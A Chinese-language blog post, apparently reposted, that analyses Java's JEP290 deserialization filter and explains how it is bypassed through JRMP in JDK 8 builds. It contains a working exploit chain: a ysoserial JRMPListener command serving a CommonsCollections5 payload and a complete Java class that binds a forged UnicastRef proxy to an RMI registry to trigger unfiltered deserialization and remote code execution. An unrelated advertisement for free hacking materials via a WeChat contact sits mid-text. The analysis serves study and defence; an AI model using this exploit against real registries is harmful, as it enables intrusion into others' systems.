淺談 JEP290

0x01 前言

屬于是拖了很久的文章了，4.18 籌劃著開始寫，6.22 左右才真正開始提筆，

一開始提到這個概念可能會比較懵逼，其實這就是為什么高版本 jdk 有部分能打 jndi，打不了 RMI

8u121 ~ 8u230 打不了 RMI

0x02 關于 JEP290

JEP290 是 Java 底層為了緩解反序列化攻擊提出的一種解決方案，主要做了以下幾件事

1、提供一個限制反序列化類的機制，白名單或者黑名單，2、限制反序列化的深度和復雜度，3、為 RMI 遠程呼叫物件提供了一個驗證類的機制，4、定義一個可配置的過濾機制，比如可以通過配置 properties 檔案的形式來定義過濾器，

官方從 8u121，7u13，6u141 分別支持了這個 JEP

0x03 JEP290 防御手段分析

先起一個 RMI 的服務，代碼詳見 —— https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/RMI

嘗試去攻擊，這里會報錯，報錯部分資訊為

java.io.ObjectInputStream filterCheck
資訊: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler

可以先看一下官方檔案對于 JEP290 的描述 http://openjdk.java.net/jeps/290

• 我們很容易通過描述來看對應增加的 Filter 點是什么，如圖找到了 ObjectInputFilter 相關的類

我這里去看了看 ObjectInputFilter 相關的類，斷點是下不去的，所以去到控制臺去看，發現在 RegistryImpl_Skel 類中也存在報錯現象，而這個類在 RMI 中是用來做反序列化的方法的，

跟進，ObjectInputStream 類呼叫了 readObject0() 方法，繼續跟進

先獲取輸入當中 blkmode，如果資料為 true，則繼續進行后續判斷，后續做了一部分的資料處理作業，我們直接來看最重要的地方 1573 行，呼叫了 checkResolve() 方法，跟進

跟進 readClassDesc() 方法，這個方法主要是讀取并回傳類描述符，并判斷這一類描述符是否可以決議為本地 VM 中的類，

【----幫助網安學習，以下所有學習資料免費領！加vx：yj009991，備注 “博客園” 獲取！】

　① 網安學習成長路徑思維導圖
　② 60+網安經典常用工具包
　③ 100+SRC漏洞分析報告
　④ 150+網安攻防實戰技術電子書
　⑤ 最權威CISSP 認證考試指南+題庫
　⑥ 超1800頁CTF實戰技巧手冊
　⑦ 最新網安大廠面試題合集（含答案）
　⑧ APP客戶端安全檢測指南（安卓+IOS）

在 readClassDesc() 方法中，判斷 tc 所對應的型別，這里跟進 readProxyDesc() 方法

readProxyDesc() 方法做完一系列基礎判斷之后呼叫了 filterCheck() 方法，跟進

而 filterCheck() 方法又呼叫了 checkInput() 方法，這里應該是最終來判斷輸入是否合法的地方，

這里的判斷會進行兩次，一個是開啟 JVM 的 java.rmi.Remote 類，另一個是我們放入的惡意利用類 sun.reflect.annotation.AnnotationInvocationHandler，第一次會先判斷 java.rmi.Remote 類是否合法

對應的判斷代碼，其實也就是白名單了，代碼會首先判斷 var2 是否等于 String 型別，如果不是，則繼續判斷它是否滿足下列幾個條件中的任意一個：

return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;

而這里，我們的 sun.reflect.annotation.AnnotationInvocationHandler 類并不在這些白名單中，所以會被過濾

0x04 JEP290 繞過

這里我們可以先看一下白名單里面都能過什么，白名單如下

String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

這里我覺得還是得從它在 JDK8u221 的具體環境下的流程分析入手，看一下在攻擊流程之后哪里可以能夠被利用，哪里可以 bypass

繞過利用

思考了在 RMI 的流程當中，哪一步能夠繞過 JEP290 的檢測，最終是 JRMP 的這一步，能夠繞過，從原理圖來說的話應該是這樣

先用 ysoserial 開啟 JRMP 3333 埠的監聽

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections5 "Calc"

然后撰寫 RMI 的 EXP

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
?
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
?
public class BypassJEP290 {
    public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException {
        Registry reg = LocateRegistry.getRegistry("localhost",1099); // rmi start at 2222
        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333); // JRMPListener's port is 3333
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(BypassJEP290.class.getClassLoader(), new Class[] {
                Registry.class
        }, obj);
        reg.bind("Hello",proxy);
    }
}

這個 payload 的原理就是偽造了一個 UnicastRef 用于跟注冊中心通信，我們從 bind() 方法開始分析一下這一整個流程，

繞過分析

我們通過 getRegistry 時獲得的注冊中心，其實就是一個封裝了 UnicastServerRef 物件的物件

當我們呼叫 bind 方法后，會通過 UnicastRef 物件中存盤的資訊與注冊中心進行通信

這里會通過 ref 與注冊中心通信，并將系結的物件名稱以及要系結的遠程物件發過去，注冊中心在后續會對應進行反序列化

接著來看看 yso 中的 JRMPClient 是做了什么操作

ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
    Registry.class
}, obj);
return proxy;

這里回傳了一個代理物件，上面用的這些類都在白名單里，當注冊中心反序列化時，會呼叫到RemoteObjectInvacationHandler父類RemoteObject的readObject方法（因為RemoteObjectInvacationHandler沒有readObject方法），在readObject里的最后一行會呼叫ref.readExternal方法，并將ObjectInputStream傳進去：

這里的呼叫堆疊非常長，總體上來說就是在做我上面所說的作業，呼叫堆疊如下

readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)     // 從此處開始，會遇到很多位元組碼不匹配的問題
dispatch:92, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1330984495 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

一路跟進到 sun.rmi.transport.LiveRef#read

可以看到這里把 payload 里所傳入的 LiveRef 決議到 var5 變數處，里面包含了 ip 與 埠 資訊(JRMPListener 的埠)，這些資訊將用于后面注冊中心與 JRMP 端建立通信，

跟進 saveRef() 方法，里面做了一個映射，其建立了一個 TCPEndpoint 到 ArrayList<LiveRef> 的映射關系，

到這里 JRMP 的通信流程基本結束了，接著再回到 dispatch() 方法，在呼叫了 readObject 方法之后呼叫了 var2.releaseInputStream();，跟進

releaseInputStream() 方法呼叫了 this.in.registerRefs() 方法，跟進，其中先判斷了當前保存的 Ref 是否為空，再獲取當前 Ref，這個 Ref 實際上就是創建的 JRMP 連接，再跟進 registerRefs() 方法

var2這里回傳的是 DGCClient 物件，里邊同樣封裝了我們的埠資訊

接著看到 registerRefs 方法中的 this.makeDirtyCall(var2, var3);，跟進一下

里面主要是做了資料處理，將原本保存了 EndPoint 的 var1 —— HashSet 陣列轉換為 ObjID，同時，呼叫了 this.dgc.dirty() 方法，跟進，

在 dirty() 方法中呼叫 wirteObject() 方法后，會用 invoke() 將資料發出去，

invoke() 方法實作的程序就是從 socket 連接中先讀取了輸入，然后直接反序列化，此時的反序列化并沒有設定 filter（白名單），所以這里可以直接導致注冊中心 rce，所以我們可以偽造一個 socket 連接并把我們惡意序列化的物件發過去，這也就是當時用 ysoserial 開啟的 JRMP

至此繞過分析結束

0x05 小結

本身 JEP290 的繞過分析的思路是非常清晰的，但是整個流程還是比較復雜的，總結一下是從 RMI 通信的流程當中找到了可乘之機，

更多網安技能的在線實操練習，請點擊這里>>

標籤：其他

上一篇：rke2安裝單節點k8s

下一篇：返回列表